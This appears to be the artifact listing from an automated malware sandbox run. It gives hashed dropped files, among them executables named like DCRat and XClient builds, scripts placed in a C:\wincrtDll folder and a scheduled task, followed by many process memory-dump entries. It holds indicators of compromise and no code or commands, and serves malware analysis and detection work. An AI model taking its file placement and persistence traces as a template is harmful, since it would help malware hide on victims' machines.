5e024d56d44f1de22e201bc91d4a125bc1d3a6f0ef005d6213a5256decd1ff52a8abb77f2fbaa8304dcdeb21e4f4ed4bd0008858e6a2ab5a04943985ab02ddbe

Download Submit
C:\Users\Admin\AppData\Local\Temp\2.exe

Filesize
1.1MB

MD5
1a2b16c17517d602806431c0744f5f8f

SHA1
465e2d6bd37972295cd017f78f35faa07102ab4e

SHA256
d52c40b759d5c215ab4090e972038dd6bdcad31c56d72d9a25ed6e76f3f952f1

SHA512
a5bf48dcdc3bde33d919f5e65c183d5fb12cb671497d990dcce38f353bf6546aa0dd4d258e6c7e5b735a47c532a405eeecb78d146afce4382c5e72b2ccffc4bd

Download Submit
C:\Users\Admin\AppData\Local\Temp\DCRatBuild127.exe

Filesize
309KB

MD5
757123039fc621efee71d41b044d14c5

SHA1
d3b5b88f7d5aeddf4994a90b5d888677c31d72b9

SHA256
afcaa62dd1e4dddd03a67db6175f406742c7c759b2f919e20a142d8b89554064

SHA512
5d910968da586bce3b3ba35727492abcc928abe016265aa17b366b1e4f4c5c1f814f44612595abdfdae2e9a87524e4085aa0151adcdee72f95fc41642beaf4b1

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\2klz.exe

Filesize
3.1MB

MD5
01cb0e497f40e7d02f93255475f175e1

SHA1
98c779497d6514b91cd1410f627a5320f6b3eab5

SHA256
15893230cadb8c8fba530903bc2a7e5cb4da78c00d40ea9473963455978c0f95

SHA512
fc81504089f520935d95e98ea867faf3dcc44b2399c418fea95f193c45584d72730868ce4362beef4adc5f9a89c008da1fc7a529a35a6cc7803d0ca15f386ef9

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\360_.exe

Filesize
200KB

MD5
5d026af9171c4bcec7b38ff42b1fb266

SHA1
e97563e92862f5284352147ba3de4fca45e11f81

SHA256
052cee21bf536d51bcaf66edc262a1c391dea5a941cda58b83bf1eea43037169

SHA512
c5fbb96bfb4e9de7ac71ce9595678e9e724a9728bb26085f2e411d29638ffb2e74e3106375a5251b96d01f2007752559a042b22ce4594bda8a0982c588c288ce

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\Client.exe

Filesize
31KB

MD5
63f444ed65088c9e278ec2e6892899a6

SHA1
588c5ca8e39578b9341f7cbaa7bec05af51566c4

SHA256
6cb9455b415038c5fe7e6d86677f3751033b0478f7264a171cc7a277ad3b706c

SHA512
1859caf0ba1c328142c8910f4504aea0096d55dac286809ae161c827558f60875f76d5840e469644092ecd05891de5da7ef0f492f50f47d8279dd86704a69567

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\DCRatBuild127.exe

Filesize
1.5MB

MD5
2d1c174ac5d4a6df46585926e49bbd73

SHA1
9fa4fb19a3859a391618ff909c1f0362af579d5d

SHA256
3e4df98402da35b9ea2ef9b488b63c8b7bc536b75dd164fd88b50163751bc47c

SHA512
484b7e78a843dd66d7945fab7b14e4163f6af06c766508dc744b77984a4cdb14a1290d953915d4d8f3a32acf108583e2991dd90aa503c8fa6dc72115dbed056a

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\XClient_protected.exe

Filesize
111KB

MD5
c27417453090d3cf9a3884b503d22c49

SHA1
17938ece6999bc94d651743063c3f989e38547b4

SHA256
d330b3cec745ce7bf9856e3cdce277a52fe7ad09874d519fa7b9b080a61a7407

SHA512
27d115974702510f9ef7eb841d359764197429ed9d233f98facec317fdaa8b4ec4e481103d8b950ee2f10711280e7296457107d928603af2174b586233abb443

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\gsprout.exe

Filesize
278KB

MD5
92ae7a1286d992e104c0072f639941f7

SHA1
d2c0fe4e7e9df1b4a9a4cd69e3167003e51c73b2

SHA256
1771c4e6e34fda6a68c7b1d980cc3dffbe587c651f985bf7235c6af9a8904fd3

SHA512
bed93d1e09f576c52b231046cbf9a4ef81ebb2f68eaa6fc7b0eea889418e5f3af440fef5da55882b5535f26d994fdd34c288ba62e7fb033f5bd372cf752bb62b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\ipscan221.exe

Filesize
108KB

MD5
6c1bcf0b1297689c8c4c12cc70996a75

SHA1
9d99a2446aa54f00af0b049f54afa52617a6a473

SHA256
40dc213fe4551740e12cac575a9880753a9dacd510533f31bd7f635e743a7605

SHA512
7edf53adf8db463658aa4a966cf9e22bf28583cb0ca4317af19e90d85232b6cb627e810033155383948d36ad6a1a14f32b3381d10c7cd6c4bd0482c974c129db

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\jsawdtyjde.exe

Filesize
898KB

MD5
4c3049f8e220c2264692cb192b741a30

SHA1
46c735f574daaa3e6605ef4c54c8189f5722ff2a

SHA256
7f74b2c86e9f5706fc44c8d5093a027d1cd5856006aa80f270efae26d55c9131

SHA512
b13dc855c3c06b56aa9bf181680b69003839adeaf16c5372912004a7bf42882e340c445c58e24e083692b4dcbb15c3e0cf244664458ccdd0dd7668b440277e0a

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\newfile.exe

Filesize
392KB

MD5
a896758e32aa41a6b5f04ed92fe87a6c

SHA1
e44b9c7bfd9bab712984c887913a01fbddf86933

SHA256
7664288e924fecf085d750dbd40c405bd0dbc9d1ed662c5ecf79c636976e867c

SHA512
e6ca9818c394fd3cbbb4f21141c40d5cab3c16a82c96435ea1133eabbb44cc954d022dc6cbd13200d08d5ce8d905c3b933b3edf52eeacca858dfd3d6a3866021

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\1.bat

Filesize
37B

MD5
28151380c82f5de81c1323171201e013

SHA1
ae515d813ba2b17c8c5ebdae196663dc81c26d3c

SHA256
bb8582ce28db923f243c8d7a3f2eccb0ed25930f5b5c94133af8eefb57a8231d

SHA512
46b29cba0dc813de0c58d2d83dc298fa677921fd1f19f41e2ed3c7909c497fab2236d10a9ae59b3f38e49cf167964ede45e15543673a1e0843266242b8e26253

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\clamer.exe

Filesize
453KB

MD5
fb30b403c1fa1d57fb65dc8b8e00e75c

SHA1
161cf9d271aee2d7d2f7a0a5d0001830929c300b

SHA256
83d9579e6b71561a9dafbdd309b4dbfaddf816c7ccc25e4672c8d9dfb14b6673

SHA512
d0d15e51527bcfad38c01c46b4c43257407ead9c328bc4d48d21c9702c16872e52509e014444e78cd22f1ad96c11a88d281c2a745df0a4ca21243352f879de85

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe

Filesize
16KB

MD5
e7d405eec8052898f4d2b0440a6b72c9

SHA1
58cf7bfcec81faf744682f9479b905feed8e6e68

SHA256
b63a0e5f93b26ad0eeb9efba66691f3b7e7f51e93a2f0098bde43833f7a24cc2

SHA512
324507084bd56f7102459efe7b3c2d2560f4e89ed03ec4a38539ebb71bccdf1def7bc961c259f9b02f4b2be0d5e095136c9efcd5fc3108af3dc61d24970d6121

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q3snaovw.vkq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\nspC4C8.tmp\86YV86I.dll

Filesize
6KB

MD5
293165db1e46070410b4209519e67494

SHA1
777b96a4f74b6c34d43a4e7c7e656757d1c97f01

SHA256
49b7477db8dd22f8cf2d41ee2d79ce57797f02e8c7b9e799951a6c710384349a

SHA512
97012139f2da5868fe8731c0b0bcb3cfda29ed10c2e6e2336b504480c9cd9fb8f4728cca23f1e0bd577d75daa542e59f94d1d341f4e8aaeebc7134bf61288c19

Download Submit
C:\Windows\Tasks\Test Task17.job

Filesize
234B

MD5
0a9ff4b4aa9f6d7876621d3fb22ea32f

SHA1
e4ff35a2bfd97e1fc32a472ccaa80adba359e6c9

SHA256
278daab702df8efb208d043a22f8016096ebebc9359d2dd92efa21e29ac3f978

SHA512
6a36495079da0b663b475379784af60afe60a65208086fb640f2870aac08fa8be919d0374b24aa3e9c93d630127e3449a53e444b45cfa67dbcb2792911b1bb18

Download Submit
C:\wincrtDll\3K4aPY2c2MDUmgYCS2.bat

Filesize
28B

MD5
816ed385c1604f9b08773ea1397c9080

SHA1
c8c1da0c4c8f266d6cb38f06b20de6f3c89c52de

SHA256
0df4177eb40b163a3ede52cc20f59921a2a35bca6b4eb4194bcf5a6c6d38a94c

SHA512
ebef216d7f43fa36c839cd19475e7cfaf453be9c2ab5e4ecc2ed2f56e1d63469ef1556e39bf0b756f7c5e757139e8b0e50ea5bd362a3477b0e9375832a31ce8e

Download Submit
C:\wincrtDll\Kiq5HCXulld4.vbe

Filesize
204B

MD5
9db591218ed1a50771c7dc7f0e8511e8

SHA1
11892f9ece85f7f10efcc561945f4379b0061943

SHA256
a99b8c2e6a91764f630ae6783c02119dd1631864a24e6751a068488b19a59116

SHA512
0eebd9fe2b9a305511f430a500f5e568b5073b6fc0924f0a75e3a2d1601ed2b6b2d5cb32f56e6b006280507940b876dca4c78827afb81396b6e6c5f15d7880e1

Download Submit
memory/436-278-0x000000006F3F0000-0x000000006F43C000-memory.dmp

Filesize
304KB

Download
memory/436-290-0x0000000007690000-0x00000000076A4000-memory.dmp

Filesize
80KB

Download
memory/436-276-0x0000000005D10000-0x0000000006064000-memory.dmp

Filesize
3.3MB

Download
memory/436-288-0x0000000007370000-0x0000000007413000-memory.dmp

Filesize
652KB

Download
memory/436-289-0x0000000007660000-0x0000000007671000-memory.dmp

Filesize
68KB

Download
memory/2020-181-0x0000000000910000-0x0000000000978000-memory.dmp

Filesize
416KB

Download
memory/2172-254-0x0000000007D40000-0x0000000007D5A000-memory.dmp

Filesize
104KB

Download
memory/2172-245-0x0000000007CC0000-0x0000000007CD1000-memory.dmp

Filesize
68KB

Download
memory/2172-226-0x00000000062E0000-0x0000000006634000-memory.dmp

Filesize
3.3MB

Download
memory/2172-241-0x0000000007B00000-0x0000000007B0A000-memory.dmp

Filesize
40KB

Download
memory/2172-240-0x00000000079D0000-0x0000000007A73000-memory.dmp

Filesize
652KB

Download
memory/2172-228-0x0000000006D50000-0x0000000006D82000-memory.dmp

Filesize
200KB

Download
memory/2172-255-0x0000000007D30000-0x0000000007D38000-memory.dmp

Filesize
32KB

Download
memory/2172-229-0x000000006F3F0000-0x000000006F43C000-memory.dmp

Filesize
304KB

Download
memory/2172-253-0x0000000007CF0000-0x0000000007D04000-memory.dmp

Filesize
80KB

Download
memory/2172-252-0x0000000007CE0000-0x0000000007CEE000-memory.dmp

Filesize
56KB

Download
memory/2172-239-0x0000000006D90000-0x0000000006DAE000-memory.dmp

Filesize
120KB

Download
memory/2172-243-0x0000000007D60000-0x0000000007DF6000-memory.dmp

Filesize
600KB

Download
memory/2212-402-0x000000001BD70000-0x000000001BDC0000-memory.dmp

Filesize
320KB

Download
memory/2212-403-0x000000001BE80000-0x000000001BF32000-memory.dmp

Filesize
712KB

Download
memory/2652-122-0x0000000005960000-0x0000000005F88000-memory.dmp

Filesize
6.2MB

Download
memory/2652-187-0x0000000006880000-0x00000000068CC000-memory.dmp

Filesize
304KB

Download
memory/2652-186-0x0000000006850000-0x000000000686E000-memory.dmp

Filesize
120KB

Download
memory/2652-132-0x00000000058B0000-0x00000000058D2000-memory.dmp

Filesize
136KB

Download
memory/2652-133-0x0000000006000000-0x0000000006066000-memory.dmp

Filesize
408KB

Download
memory/2652-143-0x0000000006290000-0x00000000065E4000-memory.dmp

Filesize
3.3MB

Download
memory/2652-134-0x0000000006220000-0x0000000006286000-memory.dmp

Filesize
408KB

Download
memory/2652-119-0x0000000005290000-0x00000000052C6000-memory.dmp

Filesize
216KB

Download
memory/2652-190-0x0000000006D60000-0x0000000006D7A000-memory.dmp

Filesize
104KB

Download
memory/2652-189-0x00000000080B0000-0x000000000872A000-memory.dmp

Filesize
6.5MB

Download
memory/2696-373-0x0000000000030000-0x0000000000354000-memory.dmp

Filesize
3.1MB

Download
memory/2788-393-0x0000000000170000-0x0000000000192000-memory.dmp

Filesize
136KB

Download
memory/3028-84-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-68-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-61-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-60-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-59-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-58-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-57-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-56-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-55-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-54-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-53-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-52-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-51-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-50-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-49-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-48-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-63-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-46-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-36-0x0000000000820000-0x0000000000A2B000-memory.dmp

Filesize
2.0MB

Download
memory/3028-45-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-43-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-42-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-41-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-40-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-39-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-38-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-37-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-35-0x0000000000820000-0x0000000000A2B000-memory.dmp

Filesize
2.0MB

Download
memory/3028-70-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-71-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-69-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-44-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-32-0x0000000000820000-0x0000000000A2B000-memory.dmp

Filesize
2.0MB

Download
memory/3028-31-0x0000000000820000-0x0000000000A2B000-memory.dmp

Filesize
2.0MB

Download
memory/3028-64-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-65-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-66-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-27-0x0000000000820000-0x0000000000A2B000-memory.dmp

Filesize
2.0MB

Download
memory/3028-30-0x0000000077064000-0x0000000077066000-memory.dmp

Filesize
8KB

Download
memory/3028-67-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-62-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-72-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-73-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-75-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-74-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-76-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-77-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-34-0x0000000000820000-0x0000000000A2B000-memory.dmp

Filesize
2.0MB

Download
memory/3028-88-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-94-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-93-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-79-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-78-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-80-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-81-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-82-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-92-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-83-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-85-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-86-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-87-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-91-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-90-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3028-89-0x000000007F6B0000-0x000000007F6C0000-memory.dmp

Filesize
64KB

Download
memory/3136-197-0x0000000074550000-0x0000000074D00000-memory.dmp

Filesize
7.7MB

Download
memory/3136-1-0x0000000000780000-0x0000000000788000-memory.dmp

Filesize
32KB

Download
memory/3136-0-0x000000007455E000-0x000000007455F000-memory.dmp

Filesize
4KB

Download
memory/3136-2-0x0000000005120000-0x00000000051BC000-memory.dmp

Filesize
624KB

Download
memory/3136-3-0x0000000074550000-0x0000000074D00000-memory.dmp

Filesize
7.7MB

Download
memory/3136-196-0x000000007455E000-0x000000007455F000-memory.dmp

Filesize
4KB

Download
memory/3860-142-0x0000000000420000-0x0000000000452000-memory.dmp

Filesize
200KB

Download
memory/3860-188-0x0000000004AB0000-0x0000000004AEC000-memory.dmp

Filesize
240KB

Download
memory/3860-185-0x0000000004A50000-0x0000000004A62000-memory.dmp

Filesize
72KB

Download
memory/3860-184-0x0000000004B40000-0x0000000004C4A000-memory.dmp

Filesize
1.0MB

Download
memory/3860-183-0x0000000005050000-0x0000000005668000-memory.dmp

Filesize
6.1MB

Download
memory/4520-309-0x0000000000400000-0x000000000044B000-memory.dmp

Filesize
300KB

Download
memory/4520-305-0x0000000000400000-0x000000000044B000-memory.dmp

Filesize
300KB

Download